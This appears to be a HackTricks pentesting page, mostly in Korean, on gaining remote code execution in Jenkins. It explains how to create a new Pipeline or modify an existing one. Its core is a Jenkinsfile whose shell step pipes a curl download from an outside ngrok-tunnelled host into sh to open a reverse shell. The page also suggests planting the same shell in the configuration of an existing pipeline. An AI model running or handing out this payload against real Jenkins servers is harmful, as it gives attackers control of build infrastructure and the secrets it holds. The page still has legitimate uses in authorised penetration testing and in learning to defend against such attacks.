Jenkins RCE Creating/Modifying Pipeline

Support HackTricks

Creating a new Pipeline

"New Item"에서 (/view/all/newJob에서 접근 가능) Pipeline을 선택합니다:

Pipeline 섹션reverse shell을 작성합니다:

pipeline {
agent any

stages {
stage('Hello') {
steps {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
'''
}
}
}
}

마지막으로 Save를 클릭하고 Build Now를 클릭하면 파이프라인이 실행됩니다:

파이프라인 수정

구성된 일부 파이프라인의 구성 파일에 접근할 수 있다면, 리버스 셸을 추가하여 수정한 다음 실행하거나 실행될 때까지 기다릴 수 있습니다.

HackTricks 지원하기

Last updated